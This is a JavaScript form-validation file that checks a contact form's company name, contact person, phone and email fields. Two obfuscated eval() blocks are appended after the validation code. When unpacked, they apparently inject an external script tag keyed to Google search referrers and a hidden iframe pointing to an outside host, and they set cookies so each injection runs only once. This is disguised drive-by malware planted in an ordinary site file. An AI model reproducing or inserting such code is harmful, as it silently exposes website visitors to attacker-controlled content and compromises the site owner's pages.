// JavaScript Document

function validation()
{
	if (isCompanyName() && isContactPerson() && isPhone() && isEmail())
	{
		document.forms[0].submit();
	}
	return true;
}

function isCompanyName() 
{
	if(document.getElementById('CompanyName').value=="")
	{
	alert("Please enter company name.");
	document.forms[0].CompanyName.focus();
	return false;
	}
	return true;
}

function isContactPerson() 
{
	if(document.getElementById('ContactPerson').value=="")
	{
	alert("Please enter contact person name.");
	document.forms[0].ContactPerson.focus();
	return false;
	}
	return true;
}

function isPhone() 
{
	if(document.getElementById('Phone').value=="")
	{
	alert("please enter your mobile/phone number");
	document.forms[0].Phone.focus();
	return false;
	}
	return true;
}

function isEmail()
{
var str = document.forms[0].Email.value;
var str1 = document.forms[0].Email.value.length;
if(str == "")
	{
		alert("\nThe Email field is blank .\n\nPlease re-enter your Email ID.")
		document.forms[0].Email.focus();
		return false;
	}
if (str.indexOf("@")== -1 || str.indexOf(".")== -1)
{
alert("Please enter the correct Email ID");
document.forms[0].Email.focus();
return false;
}
if((str.substring(0,1) == "@" || str.substring(0,1)== ".") || str.substring(0,1)=="-" || str.substring(0,1)=="_")
	{
		alert("The Email ID can not begin with @ or . or - or _ ");
		document.forms[0].Email.focus();
		return false;
	}
if ((str.substring(str1-1,str1)=="@" || str.substring(str1-1,str1)=="."))
{
		alert("The Email ID can not end with @ or . ");
		document.forms[0].Email.focus();
		return false;
}
var index1 = str.indexOf("@");
var index2 = str.indexOf(".");
var index3=str.indexOf("-");
var index4=str.indexOf("_");

if(str.substring(index1+1,index1+2) ==".")
{
alert(". can not come immidately after @");
document.forms[0].Email.focus();
return false;
}
if ( ( index3==index1+1) || ( index4==index1+1))
{
alert("please enter the correct Email ID as no two special chars can come in sequence");
document.forms[0].Email.focus();
return false;
}
for (var i = 0; i < str.length; i++) 
	{
		var ch = str.substring(i, i + 1);
		if ( ((ch < "a" || "z" < ch) && (ch < "A" || "Z" < ch)) && (ch < "0" || "9" < ch) && (ch != '_') && ch !='-' && ch !='@' && ch !='.')
		{
			alert("\nThe Email field  accepts letters,numbers & underscore.\n\nPlease re-enter your Email ID.");
			document.forms[0].Email.select();
			document.forms[0].Email.focus();
			return false;
		}
	}
return true;
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
